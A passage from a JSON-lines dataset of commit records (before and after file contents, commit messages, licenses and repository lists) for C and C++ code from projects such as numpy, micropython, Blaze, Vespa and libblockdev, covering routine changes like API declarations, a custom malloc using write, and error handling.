vespalib::ComponentConfigProducer      & _components;\n    std::unique_ptr<config::ConfigFetcher>   _configFetcher;\n    std::unique_ptr<vespalib::StateServer>   _server;\n};\n\n}\n","new_contents":"\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include <vespa\/config\/helper\/configfetcher.h>\n#include <vespa\/config\/subscription\/configuri.h>\n#include <vespa\/config-stateserver.h>\n\nnamespace vespalib {\n    struct HealthProducer;\n    struct MetricsProducer;\n    struct ComponentConfigProducer;\n    class StateServer;\n}\nnamespace slobrok {\n\nclass ReconfigurableStateServer : private config::IFetcherCallback<vespa::config::core::StateserverConfig> {\npublic:\n    ReconfigurableStateServer(const config::ConfigUri & configUri,\n                              vespalib::HealthProducer & healt,\n                              vespalib::MetricsProducer & metrics,\n                              vespalib::ComponentConfigProducer & component);\n    ~ReconfigurableStateServer();\nprivate:\n    void configure(std::unique_ptr<vespa::config::core::StateserverConfig> config) override;\n    vespalib::HealthProducer               & _health;\n    vespalib::MetricsProducer              & _metrics;\n    vespalib::ComponentConfigProducer      & _components;\n    std::unique_ptr<config::ConfigFetcher>   _configFetcher;\n    std::unique_ptr<vespalib::StateServer>   _server;\n};\n\n}\n","subject":"Adjust forward declarations in slobrok.","message":"Adjust forward declarations in slobrok.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"4fe769ebf1a4a71fb90ac7e37a747aadc07052ea","old_file":"numpy\/core\/src\/multiarray\/convert_datatype.h","new_file":"numpy\/core\/src\/multiarray\/convert_datatype.h","old_contents":"#ifndef _NPY_ARRAY_CONVERT_DATATYPE_H_\n#define _NPY_ARRAY_CONVERT_DATATYPE_H_\n\nNPY_NO_EXPORT PyObject *\nPyArray_CastToType(PyArrayObject *mp, PyArray_Descr *at, int fortran);\n\n#endif\n","new_contents":"#ifndef _NPY_ARRAY_CONVERT_DATATYPE_H_\n#define _NPY_ARRAY_CONVERT_DATATYPE_H_\n\nNPY_NO_EXPORT PyObject *\nPyArray_CastToType(PyArrayObject *mp, PyArray_Descr *at, int fortran);\n\nNPY_NO_EXPORT int\nPyArray_CastTo(PyArrayObject *out, PyArrayObject *mp);\n\nNPY_NO_EXPORT PyArray_VectorUnaryFunc *\nPyArray_GetCastFunc(PyArray_Descr *descr, int type_num);\n\nNPY_NO_EXPORT int\nPyArray_CanCastSafely(int fromtype, int totype);\n\nNPY_NO_EXPORT Bool\nPyArray_CanCastTo(PyArray_Descr *from, PyArray_Descr *to);\n\nNPY_NO_EXPORT int\nPyArray_ObjectType(PyObject *op, int minimum_type);\n\nNPY_NO_EXPORT PyArrayObject **\nPyArray_ConvertToCommonType(PyObject *op, int *retn);\n\nNPY_NO_EXPORT int\nPyArray_ValidType(int type);\n\n#endif\n","subject":"Add API for datatype conversion.","message":"Add API for datatype conversion.\n","lang":"C","license":"bsd-3-clause","repos":"rgommers\/numpy,WarrenWeckesser\/numpy,larsmans\/numpy,ssanderson\/numpy,numpy\/numpy-refactor,rudimeier\/numpy,Dapid\/numpy,tynn\/numpy,ddasilva\/numpy,sigma-random\/numpy,dimasad\/numpy,githubmlai\/numpy,skymanaditya1\/numpy,BMJHayward\/numpy,chatcannon\/numpy,numpy\/numpy-refactor,Yusa95\/numpy,hainm\/numpy,ewmoore\/numpy,ogrisel\/numpy,grlee77\/numpy,gmcastil\/numpy,NextThought\/pypy-numpy,nbeaver\/numpy,dwillmer\/numpy,empeeu\/numpy,leifdenby\/numpy,SunghanKim\/numpy,nbeaver\/numpy,chatcannon\/numpy,rajathkumarmp\/numpy,andsor\/numpy,abalkin\/numpy,tynn\/numpy,ChanderG\/numpy,yiakwy\/numpy,Linkid\/numpy,numpy\/numpy,astrofrog\/numpy,jorisvandenbossche\/numpy,gmcastil\/numpy,Srisai85\/numpy,sinhrks\/numpy,grlee77\/numpy,ssanderson\/numpy,jankoslavic\/numpy,musically-ut\/numpy,rmcgibbo\/numpy,mortada\/numpy,BabeNovelty\/numpy,mingwpy\/numpy,jschueller\/numpy,mattip\/numpy,endolith\/numpy,argriffing\/numpy,mattip\/numpy,mhvk\/numpy,WillieMaddox\/numpy,jonathanunderwood\/numpy,pizzathief\/numpy,dch312\/numpy,kirillzhuravlev\/numpy,mhvk\/numpy,dwf\/numpy,Srisai85\/numpy,jorisvandenbossche\/numpy,groutr\/numpy,BMJHayward\/numpy,ddasilva\/numpy,behzadnouri\/numpy,pdebuyl\/numpy,mattip\/numpy,GaZ3ll3\/numpy,MaPePeR\/numpy,shoyer\/numpy,ekalosak\/numpy,pizzathief\/numpy,felipebetancur\/numpy,naritta\/numpy,KaelChen\/numpy,MichaelAquilina\/numpy,mindw\/numpy,dwf\/numpy,sigma-random\/numpy,tdsmith\/numpy,Yusa95\/numpy,Anwesh43\/numpy,madphysicist\/numpy,dimasad\/numpy,GaZ3ll3\/numpy,dimasad\/numpy,endolith\/numpy,skymanaditya1\/numpy,drasmuss\/numpy,skymanaditya1\/numpy,drasmuss\/numpy,CMartelLML\/numpy,ViralLeadership\/numpy,endolith\/numpy,dwf\/numpy,dwillmer\/numpy,naritta\/numpy,ContinuumIO\/numpy,ChristopherHogan\/numpy,stuarteberg\/numpy,njase\/numpy,brandon-rhodes\/numpy,ESSS\/numpy,immerrr\/numpy,mortada\/numpy,githubmlai\/numpy,dato-code\/numpy,jakirkham\/numpy,WillieMaddox\/numpy,rgommers\/numpy,musically-ut\/numpy,yiakwy\/numpy,ahaldane\/numpy,naritta\/numpy,dimasad\/numpy,larsmans\/numpy,sigma-random\/numpy,astrofrog\/numpy,mortada\/numpy,dato-code\/numpy,sinhrks\/numpy,andsor\/numpy,pizzathief\/numpy,simongibbons\/numpy,madphysicist\/numpy,stuarteberg\/numpy,bmorris3\/numpy,pelson\/numpy,NextThought\/pypy-numpy,Dapid\/numpy,nbeaver\/numpy,Eric89GXL\/numpy,stefanv\/numpy,pelson\/numpy,seberg\/numpy,pizzathief\/numpy,trankmichael\/numpy,cjermain\/numpy,musically-ut\/numpy,drasmuss\/numpy,argriffing\/numpy,kirillzhuravlev\/numpy,WillieMaddox\/numpy,pelson\/numpy,numpy\/numpy,SiccarPoint\/numpy,ajdawson\/numpy,tacaswell\/numpy,tynn\/numpy,larsmans\/numpy,pdebuyl\/numpy,sonnyhu\/numpy,ogrisel\/numpy,naritta\/numpy,utke1\/numpy,mindw\/numpy,grlee77\/numpy,moreati\/numpy,seberg\/numpy,madphysicist\/numpy,Srisai85\/numpy,MSeifert04\/numpy,ContinuumIO\/numpy,anntzer\/numpy,jakirkham\/numpy,MSeifert04\/numpy,WarrenWeckesser\/numpy,ekalosak\/numpy,rudimeier\/numpy,rgommers\/numpy,abalkin\/numpy,chiffa\/numpy,bertrand-l\/numpy,hainm\/numpy,githubmlai\/numpy,b-carter\/numpy,rhythmsosad\/numpy,larsmans\/numpy,MichaelAquilina\/numpy,dch312\/numpy,AustereCuriosity\/numpy,immerrr\/numpy,argriffing\/numpy,rgommers\/numpy,embray\/numpy,numpy\/numpy,bringingheavendown\/numpy,dwf\/numpy,yiakwy\/numpy,joferkington\/numpy,CMartelLML\/numpy,endolith\/numpy,dwillmer\/numpy,MSeifert04\/numpy,trankmichael\/numpy,immerrr\/numpy,mwiebe\/numpy,bertrand-l\/numpy,ChanderG\/numpy,grlee77\/numpy,sinhrks\/numpy,groutr\/numpy,madphysicist\/numpy,moreati\/numpy,hainm\/numpy,kirillzhuravlev\/numpy,KaelChen\/numpy,pbrod\/numpy,WarrenWeckesser\/numpy,rajathkumarmp\/numpy,gfyoung\/numpy,skymanaditya1\/numpy,ChristopherHogan\/numpy,rhythmsosad\/numpy,jankoslavic\/numpy,skwbc\/numpy,matthew-brett\/numpy,behzadnouri\/numpy,GaZ3ll3\/numpy,BabeNovelty\/numpy,rhythmsosad\/numpy,Yusa95\/numpy,simongibbons\/numpy,mhvk\/numpy,hainm\/numpy,pdebuyl\/numpy,has2k1\/numpy,MSeifert04\/numpy,cjermain\/numpy,MaPePeR\/numpy,Srisai85\/numpy,moreati\/numpy,trankmichael\/numpy,sinhrks\/numpy,mwiebe\/numpy,GrimDerp\/numpy,sigma-random\/numpy,Anwesh43\/numpy,Anwesh43\/numpy,cjermain\/numpy,trankmichael\/numpy,mathdd\/numpy,ekalosak\/numpy,stefanv\/numpy,numpy\/numpy-refactor,SunghanKim\/numpy,anntzer\/numpy,WarrenWeckesser\/numpy,mindw\/numpy,rudimeier\/numpy,rherault-insa\/numpy,anntzer\/numpy,gmcastil\/numpy,cowlicks\/numpy,ChanderG\/numpy,njase\/numpy,rmcgibbo\/numpy,nguyentu1602\/numpy,rajathkumarmp\/numpy,felipebetancur\/numpy,stefanv\/numpy,ChanderG\/numpy,AustereCuriosity\/numpy,chatcannon\/numpy,CMartelLML\/numpy,andsor\/numpy,ChristopherHogan\/numpy,ahaldane\/numpy,numpy\/numpy-refactor,AustereCuriosity\/numpy,joferkington\/numpy,pyparallel\/numpy,SiccarPoint\/numpy,groutr\/numpy,has2k1\/numpy,njase\/numpy,leifdenby\/numpy,embray\/numpy,simongibbons\/numpy,astrofrog\/numpy,pbrod\/numpy,Anwesh43\/numpy,bringingheavendown\/numpy,jakirkham\/numpy,mingwpy\/numpy,bertrand-l\/numpy,cowlicks\/numpy,mingwpy\/numpy,GaZ3ll3\/numpy,joferkington\/numpy,astrofrog\/numpy,ahaldane\/numpy,Linkid\/numpy,kiwifb\/numpy,solarjoe\/numpy,BMJHayward\/numpy,mathdd\/numpy,seberg\/numpy,tacaswell\/numpy,grlee77\/numpy,skwbc\/numpy,maniteja123\/numpy,KaelChen\/numpy,ajdawson\/numpy,NextThought\/pypy-numpy,pbrod\/numpy,solarjoe\/numpy,Dapid\/numpy,simongibbons\/numpy,ahaldane\/numpy,ewmoore\/numpy,matthew-brett\/numpy,brandon-rhodes\/numpy,mattip\/numpy,Linkid\/numpy,Yusa95\/numpy,dato-code\/numpy,cowlicks\/numpy,jschueller\/numpy,jankoslavic\/numpy,nguyentu1602\/numpy,jorisvandenbossche\/numpy,ViralLeadership\/numpy,Eric89GXL\/numpy,githubmlai\/numpy,immerrr\/numpy,behzadnouri\/numpy,mwiebe\/numpy,NextThought\/pypy-numpy,SunghanKim\/numpy,charris\/numpy,bmorris3\/numpy,bringingheavendown\/numpy,has2k1\/numpy,pbrod\/numpy,has2k1\/numpy,nguyentu1602\/numpy,anntzer\/numpy,MSeifert04\/numpy,jorisvandenbossche\/numpy,empeeu\/numpy,shoyer\/numpy,shoyer\/numpy,nguyentu1602\/numpy,musically-ut\/numpy,solarjoe\/numpy,GrimDerp\/numpy,rhythmsosad\/numpy,charris\/numpy,dwillmer\/numpy,seberg\/numpy,ogrisel\/numpy,ESSS\/numpy,MaPePeR\/numpy,rmcgibbo\/numpy,SiccarPoint\/numpy,pyparallel\/numpy,Eric89GXL\/numpy,stefanv\/numpy,ewmoore\/numpy,maniteja123\/numpy,tacaswell\/numpy,jankoslavic\/numpy,matthew-brett\/numpy,jakirkham\/numpy,MichaelAquilina\/numpy,mhvk\/numpy,jschueller\/numpy,matthew-brett\/numpy,rherault-insa\/numpy,ewmoore\/numpy,joferkington\/numpy,mathdd\/numpy,matthew-brett\/numpy,pyparallel\/numpy,ESSS\/numpy,numpy\/numpy-refactor,pdebuyl\/numpy,embray\/numpy,kirillzhuravlev\/numpy,shoyer\/numpy,KaelChen\/numpy,ViralLeadership\/numpy,rudimeier\/numpy,jorisvandenbossche\/numpy,ajdawson\/numpy,madphysicist\/numpy,sonnyhu\/numpy,mingwpy\/numpy,numpy\/numpy,ogrisel\/numpy,bmorris3\/numpy,mindw\/numpy,sonnyhu\/numpy,charris\/numpy,dch312\/numpy,ChristopherHogan\/numpy,dch312\/numpy,charris\/numpy,tdsmith\/numpy,astrofrog\/numpy,simongibbons\/numpy,rherault-insa\/numpy,bmorris3\/numpy,shoyer\/numpy,b-carter\/numpy,mortada\/numpy,sonnyhu\/numpy,rmcgibbo\/numpy,tdsmith\/numpy,dwf\/numpy,utke1\/numpy,andsor\/numpy,embray\/numpy,kiwifb\/numpy,Eric89GXL\/numpy,jakirkham\/numpy,Linkid\/numpy,felipebetancur\/numpy,pelson\/numpy,ddasilva\/numpy,gfyoung\/numpy,ajdawson\/numpy,pizzathief\/numpy,MichaelAquilina\/numpy,MaPePeR\/numpy,GrimDerp\/numpy,ogrisel\/numpy,leifdenby\/numpy,pbrod\/numpy,WarrenWeckesser\/numpy,chiffa\/numpy,stuarteberg\/numpy,GrimDerp\/numpy,SunghanKim\/numpy,kiwifb\/numpy,ekalosak\/numpy,ssanderson\/numpy,jschueller\/numpy,b-carter\/numpy,empeeu\/numpy,embray\/numpy,brandon-rhodes\/numpy,SiccarPoint\/numpy,jonathanunderwood\/numpy,rajathkumarmp\/numpy,mhvk\/numpy,stefanv\/numpy,abalkin\/numpy,cowlicks\/numpy,mathdd\/numpy,CMartelLML\/numpy,skwbc\/numpy,tdsmith\/numpy,gfyoung\/numpy,pelson\/numpy,dato-code\/numpy,brandon-rhodes\/numpy,maniteja123\/numpy,cjermain\/numpy,stuarteberg\/numpy,jonathanunderwood\/numpy,ContinuumIO\/numpy,utke1\/numpy,yiakwy\/numpy,ewmoore\/numpy,BabeNovelty\/numpy,empeeu\/numpy,chiffa\/numpy,felipebetancur\/numpy,BabeNovelty\/numpy,ahaldane\/numpy,BMJHayward\/numpy"}
{"commit":"05375b10cfd6e060242c9786fb7887dcd3850ebc","old_file":"Wangscape\/noise\/module\/codecs\/NoiseQualityCodec.h","new_file":"Wangscape\/noise\/module\/codecs\/NoiseQualityCodec.h","old_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include <noise\/noise.h>\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<noise::NoiseQuality>\n{\n    using NoiseQuality = noise::NoiseQuality;\n    static codec::enumeration_t<NoiseQuality, codec::string_t> codec()\n    {\n        auto codec = codec::enumeration<NoiseQuality, std::string>({\n            {NoiseQuality::QUALITY_FAST, \"Fast\"},\n            {NoiseQuality::QUALITY_STD, \"Standard\"},\n            {NoiseQuality::QUALITY_BEST, \"Best\"}\n        });\n\n        return codec;\n    }\n};\n\n}\n}\n","new_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include <noise\/noise.h>\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<noise::NoiseQuality>\n{\n    using NoiseQuality = noise::NoiseQuality;\n    static codec::one_of_t<\n        codec::enumeration_t<NoiseQuality, codec::number_t<int>>,\n        codec::enumeration_t<NoiseQuality, codec::string_t>> codec()\n    {\n        auto codec_str = codec::enumeration<NoiseQuality, std::string>({\n            {NoiseQuality::QUALITY_FAST, \"Fast\"},\n            {NoiseQuality::QUALITY_STD, \"Standard\"},\n            {NoiseQuality::QUALITY_BEST, \"Best\"}\n        });\n        auto codec_int = codec::enumeration<NoiseQuality, int>({\n            {NoiseQuality::QUALITY_FAST, 0},\n            {NoiseQuality::QUALITY_STD, 1},\n            {NoiseQuality::QUALITY_BEST, 2}\n        });\n        return codec::one_of(codec_int, codec_str);\n    }\n};\n\n}\n}\n","subject":"Allow specification of NoiseQuality with an int","message":"Allow specification of NoiseQuality with an int\n","lang":"C","license":"mit","repos":"Wangscape\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape,serin-delaunay\/Wangscape,serin-delaunay\/Wangscape"}
{"commit":"23439b2341320a973b1c135abc541236de6550bf","old_file":"hack_malloc.c","new_file":"hack_malloc.c","old_contents":"#define _GNU_SOURCE\n#include <stdio.h>\n#include <stddef.h>\n\n#include <unistd.h>\n#include <sys\/mman.h>\n\nvoid* malloc(size_t size) {\n  printf(\"malloc... \");\n  size += sizeof(size_t);\n  int page_size = getpagesize();\n  int rem = size % page_size;\n  if (rem > 0) {\n    size += page_size - rem;\n  }\n  void* addr = mmap(0, size, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);\n  if (addr == MAP_FAILED) {\n    printf(\"fail\\n\");\n    return NULL;\n  }\n  printf(\"ok\\n\");\n  *(size_t*)addr = size;\n  return (size_t*)addr + 1;\n}\n\nvoid free (void *ptr) {\n  printf(\"free... \");\n  size_t* real_ptr = (size_t*)ptr - 1;\n  if (!munmap(real_ptr, *real_ptr)) {\n    printf(\"ok\\n\");\n  } else {\n    printf(\"fail\\n\");\n  }\n}\n","new_contents":"#define _GNU_SOURCE\n#include <stdio.h>\n#include <stddef.h>\n\n#include <unistd.h>\n#include <sys\/mman.h>\n\nvoid* malloc(size_t size) {\n  write(STDOUT_FILENO, \"malloc... \", 10);\n  size += sizeof(size_t);\n  int page_size = getpagesize();\n  int rem = size % page_size;\n  if (rem > 0) {\n    size += page_size - rem;\n  }\n  void* addr = mmap(0, size, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);\n  if (addr == MAP_FAILED) {\n    write(STDOUT_FILENO, \"fail\\n\", 5);\n    return NULL;\n  }\n  write(STDOUT_FILENO, \"ok\\n\", 3);\n  *(size_t*)addr = size;\n  return (size_t*)addr + 1;\n}\n\nvoid free (void *ptr) {\n  write(STDOUT_FILENO, \"free... \", 8);\n  size_t* real_ptr = (size_t*)ptr - 1;\n  if (!munmap(real_ptr, *real_ptr)) {\n    write(STDOUT_FILENO, \"ok\\n\", 3);\n  } else {\n    write(STDOUT_FILENO, \"fail\\n\", 5);\n  }\n}\n","subject":"Replace printf with safe write to stdout","message":"Replace printf with safe write to stdout\n","lang":"C","license":"mit","repos":"vmarkovtsev\/hack_malloc,vmarkovtsev\/hack_malloc"}
{"commit":"885f4c45b69e79b59acd437fd14d7243e5c55d73","old_file":"blaze\/util\/Misalignment.h","new_file":"blaze\/util\/Misalignment.h","old_contents":"","new_contents":"\/\/=================================================================================================\n\/*!\n\/\/  \\file blaze\/util\/Misalignment.h\n\/\/  \\brief Header file for the misalignment function\n\/\/\n\/\/  Copyright (C) 2013 Klaus Iglberger - All Rights Reserved\n\/\/\n\/\/  This file is part of the Blaze library. You can redistribute it and\/or modify it under\n\/\/  the terms of the New (Revised) BSD License. Redistribution and use in source and binary\n\/\/  forms, with or without modification, are permitted provided that the following conditions\n\/\/  are met:\n\/\/\n\/\/  1. Redistributions of source code must retain the above copyright notice, this list of\n\/\/     conditions and the following disclaimer.\n\/\/  2. Redistributions in binary form must reproduce the above copyright notice, this list\n\/\/     of conditions and the following disclaimer in the documentation and\/or other materials\n\/\/     provided with the distribution.\n\/\/  3. Neither the names of the Blaze development group nor the names of its contributors\n\/\/     may be used to endorse or promote products derived from this software without specific\n\/\/     prior written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n\/\/  EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n\/\/  OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n\/\/  SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n\/\/  TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n\/\/  BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/  CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n\/\/  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n\/\/  DAMAGE.\n*\/\n\/\/=================================================================================================\n\n#ifndef _BLAZE_UTIL_MISALIGNMENT_H_\n#define _BLAZE_UTIL_MISALIGNMENT_H_\n\n\n\/\/*************************************************************************************************\n\/\/ Includes\n\/\/*************************************************************************************************\n\n#include <blaze\/system\/Inline.h>\n#include <blaze\/util\/Types.h>\n#include <blaze\/util\/typetraits\/AlignmentOf.h>\n\n\nnamespace blaze {\n\n\/\/=================================================================================================\n\/\/\n\/\/  SIZETRAIT CLASS DEFINITION\n\/\/\n\/\/=================================================================================================\n\n\/\/*************************************************************************************************\n\/*!\\brief Computes the misalignment of the given address.\n\/\/ \\ingroup util\n\/\/\n\/\/ \\param address The address to be checked.\n\/\/ \\return The number of bytes the given address is misaligned.\n\/\/\n\/\/ This function computes the misalignment of the given address with respect to the given data\n\/\/ type \\a Type and the available instruction set (SSE, AVX, ...). It returns the number of bytes\n\/\/ the address is larger than the next smaller properly aligned address.\n*\/\ntemplate< typename T >\nBLAZE_ALWAYS_INLINE size_t misalignment( const T* address )\n{\n   return ( reinterpret_cast<size_t>( address ) % AlignmentOf<T>::value );\n}\n\/\/*************************************************************************************************\n\n} \/\/ namespace blaze\n\n#endif\n","subject":"Add the 'misalignment' utitlity function","message":"Add the 'misalignment' utitlity function\n","lang":"C","license":"bsd-3-clause","repos":"byzhang\/blaze,byzhang\/blaze,byzhang\/blaze"}
{"commit":"500af378f68af6e6438ad7375d933b0b788e8142","old_file":"src\/plugins\/test_swap.c","new_file":"src\/plugins\/test_swap.c","old_contents":"#include <glib\/gprintf.h>\n\nint main (int argc, char **argv) {\n    gboolean succ = FALSE;\n    gchar *err_msg = NULL;\n\n    succ = bd_swap_mkswap (\"\/dev\/xd1\", \"SWAP\", &err_msg);\n    if (succ)\n        puts (\"Succeded.\");\n    else\n        g_printf (\"Not succeded: %s\\n\", err_msg);\n\n    succ = bd_swap_swapon (\"\/dev\/xd1\", 5, &err_msg);\n    if (succ)\n        puts (\"Succeded.\");\n    else\n        g_printf (\"Not succeded: %s\\n\", err_msg);\n\n    return 0;\n}\n","new_contents":"#include <glib\/gprintf.h>\n\nint main (int argc, char **argv) {\n    gboolean succ = FALSE;\n    gchar *err_msg = NULL;\n\n    succ = bd_swap_mkswap (\"\/dev\/xd1\", \"SWAP\", &err_msg);\n    if (succ)\n        puts (\"Succeded.\");\n    else\n        g_printf (\"Not succeded: %s\", err_msg);\n\n    succ = bd_swap_swapon (\"\/dev\/xd1\", 5, &err_msg);\n    if (succ)\n        puts (\"Succeded.\");\n    else\n        g_printf (\"Not succeded: %s\", err_msg);\n\n    return 0;\n}\n","subject":"Remove newlines from the swap test outputs","message":"Remove newlines from the swap test outputs\n\nThey are already included in the utility's output.\n","lang":"C","license":"lgpl-2.1","repos":"atodorov\/libblockdev,snbueno\/libblockdev,rhinstaller\/libblockdev,atodorov\/libblockdev,atodorov\/libblockdev,vpodzime\/libblockdev,dashea\/libblockdev,rhinstaller\/libblockdev,rhinstaller\/libblockdev,snbueno\/libblockdev,vpodzime\/libblockdev,vpodzime\/libblockdev,dashea\/libblockdev"}
{"commit":"41b1df604617bdde59bb722b9247c16fa4677d94","old_file":"lib\/memzip\/lexermemzip.c","new_file":"lib\/memzip\/lexermemzip.c","old_contents":"#include <stdlib.h>\n\n#include \"py\/lexer.h\"\n#include \"memzip.h\"\n\nmp_lexer_t *mp_lexer_new_from_file(const char *filename)\n{\n    void *data;\n    size_t len;\n\n    if (memzip_locate(filename, &data, &len) != MZ_OK) {\n        return NULL;\n    }\n\n    return mp_lexer_new_from_str_len(qstr_from_str(filename), (const char *)data, (mp_uint_t)len, 0);\n}\n\n","new_contents":"#include <stdlib.h>\n\n#include \"py\/lexer.h\"\n#include \"py\/runtime.h\"\n#include \"py\/mperrno.h\"\n#include \"memzip.h\"\n\nmp_lexer_t *mp_lexer_new_from_file(const char *filename)\n{\n    void *data;\n    size_t len;\n\n    if (memzip_locate(filename, &data, &len) != MZ_OK) {\n        mp_raise_OSError(MP_ENOENT);\n    }\n\n    return mp_lexer_new_from_str_len(qstr_from_str(filename), (const char *)data, (mp_uint_t)len, 0);\n}\n\n","subject":"Make lexer constructor raise exception when file not found.","message":"lib\/memzip: Make lexer constructor raise exception when file not found.\n","lang":"C","license":"mit","repos":"blazewicz\/micropython,cwyark\/micropython,infinnovation\/micropython,selste\/micropython,cwyark\/micropython,bvernoux\/micropython,PappaPeppar\/micropython,pozetroninc\/micropython,chrisdearman\/micropython,henriknelson\/micropython,AriZuu\/micropython,MrSurly\/micropython,micropython\/micropython-esp32,torwag\/micropython,Peetz0r\/micropython-esp32,MrSurly\/micropython-esp32,pramasoul\/micropython,alex-robbins\/micropython,deshipu\/micropython,toolmacher\/micropython,adafruit\/circuitpython,deshipu\/micropython,adafruit\/circuitpython,adafruit\/circuitpython,hiway\/micropython,ryannathans\/micropython,selste\/micropython,adafruit\/circuitpython,infinnovation\/micropython,dmazzella\/micropython,toolmacher\/micropython,HenrikSolver\/micropython,adafruit\/circuitpython,tobbad\/micropython,oopy\/micropython,MrSurly\/micropython-esp32,MrSurly\/micropython-esp32,Peetz0r\/micropython-esp32,adafruit\/micropython,micropython\/micropython-esp32,torwag\/micropython,henriknelson\/micropython,AriZuu\/micropython,kerneltask\/micropython,micropython\/micropython-esp32,pozetroninc\/micropython,toolmacher\/micropython,torwag\/micropython,HenrikSolver\/micropython,AriZuu\/micropython,swegener\/micropython,lowRISC\/micropython,alex-robbins\/micropython,bvernoux\/micropython,swegener\/micropython,HenrikSolver\/micropython,SHA2017-badge\/micropython-esp32,pramasoul\/micropython,chrisdearman\/micropython,micropython\/micropython-esp32,deshipu\/micropython,kerneltask\/micropython,puuu\/micropython,AriZuu\/micropython,tralamazza\/micropython,alex-robbins\/micropython,infinnovation\/micropython,torwag\/micropython,selste\/micropython,henriknelson\/micropython,trezor\/micropython,oopy\/micropython,pfalcon\/micropython,puuu\/micropython,Peetz0r\/micropython-esp32,alex-robbins\/micropython,oopy\/micropython,AriZuu\/micropython,puuu\/micropython,cwyark\/micropython,blazewicz\/micropython,henriknelson\/micropython,hiway\/micropython,adafruit\/micropython,trezor\/micropython,PappaPeppar\/micropython,hiway\/micropython,TDAbboud\/micropython,swegener\/micropython,Timmenem\/micropython,PappaPeppar\/micropython,infinnovation\/micropython,SHA2017-badge\/micropython-esp32,MrSurly\/micropython,pfalcon\/micropython,infinnovation\/micropython,trezor\/micropython,pfalcon\/micropython,Peetz0r\/micropython-esp32,Timmenem\/micropython,trezor\/micropython,tralamazza\/micropython,swegener\/micropython,blazewicz\/micropython,ryannathans\/micropython,SHA2017-badge\/micropython-esp32,micropython\/micropython-esp32,kerneltask\/micropython,SHA2017-badge\/micropython-esp32,TDAbboud\/micropython,lowRISC\/micropython,adafruit\/circuitpython,pozetroninc\/micropython,adafruit\/micropython,ryannathans\/micropython,lowRISC\/micropython,tobbad\/micropython,pramasoul\/micropython,bvernoux\/micropython,MrSurly\/micropython-esp32,kerneltask\/micropython,adafruit\/micropython,bvernoux\/micropython,Timmenem\/micropython,tralamazza\/micropython,selste\/micropython,puuu\/micropython,deshipu\/micropython,MrSurly\/micropython,hiway\/micropython,blazewicz\/micropython,dmazzella\/micropython,torwag\/micropython,Timmenem\/micropython,TDAbboud\/micropython,swegener\/micropython,tobbad\/micropython,pfalcon\/micropython,kerneltask\/micropython,Peetz0r\/micropython-esp32,chrisdearman\/micropython,TDAbboud\/micropython,MrSurly\/micropython,cwyark\/micropython,SHA2017-badge\/micropython-esp32,oopy\/micropython,pfalcon\/micropython,hiway\/micropython,HenrikSolver\/micropython,ryannathans\/micropython,henriknelson\/micropython,lowRISC\/micropython,PappaPeppar\/micropython,chrisdearman\/micropython,toolmacher\/micropython,lowRISC\/micropython,pozetroninc\/micropython,pozetroninc\/micropython,blazewicz\/micropython,MrSurly\/micropython,ryannathans\/micropython,pramasoul\/micropython,toolmacher\/micropython,puuu\/micropython,chrisdearman\/micropython,tobbad\/micropython,deshipu\/micropython,pramasoul\/micropython,TDAbboud\/micropython,trezor\/micropython,PappaPeppar\/micropython,HenrikSolver\/micropython,dmazzella\/micropython,MrSurly\/micropython-esp32,dmazzella\/micropython,oopy\/micropython,cwyark\/micropython,Timmenem\/micropython,alex-robbins\/micropython,selste\/micropython,bvernoux\/micropython,tralamazza\/micropython,adafruit\/micropython,tobbad\/micropython"}
{"commit":"67d9df24bf6ac9d6a3397971605cb563fb35c54d","old_file":"src\/roman_convert_to_int.c","new_file":"src\/roman_convert_to_int.c","old_contents":"#include <string.h>\n#include <stdbool.h>\n\n#include \"roman_convert_to_int.h\"\n#include \"roman_clusters.h\"\n\nstatic const int ERROR = -1;\n\nstatic bool starts_with(const char *str, RomanCluster cluster);\n\nint roman_convert_to_int(const char *numeral)\n{\n\tif (!numeral) return ERROR;\n\n\tint total = 0;\n\tfor (int cluster_index = 0; cluster_index < ROMAN_CLUSTERS_LENGTH; cluster_index++)\n\t{\n\t\tconst RomanCluster cluster = ROMAN_CLUSTERS[cluster_index];\n\t\twhile (starts_with(numeral, cluster))\n\t\t{\n\t\t\ttotal += cluster.value;\n\t\t\tnumeral += cluster.length;\n\t\t}\n\t}\n\n\treturn *numeral ? ERROR : total;\n}\n\nstatic bool starts_with(const char *str, RomanCluster cluster)\n{\n\treturn strncmp(str, cluster.letters, cluster.length) == 0;\n}\n","new_contents":"#include <string.h>\n#include <stdbool.h>\n\n#include \"roman_convert_to_int.h\"\n#include \"roman_clusters.h\"\n\nstatic const int ERROR = -1;\n\nstatic bool starts_with(const char *str, RomanCluster cluster);\n\nint roman_convert_to_int(const char 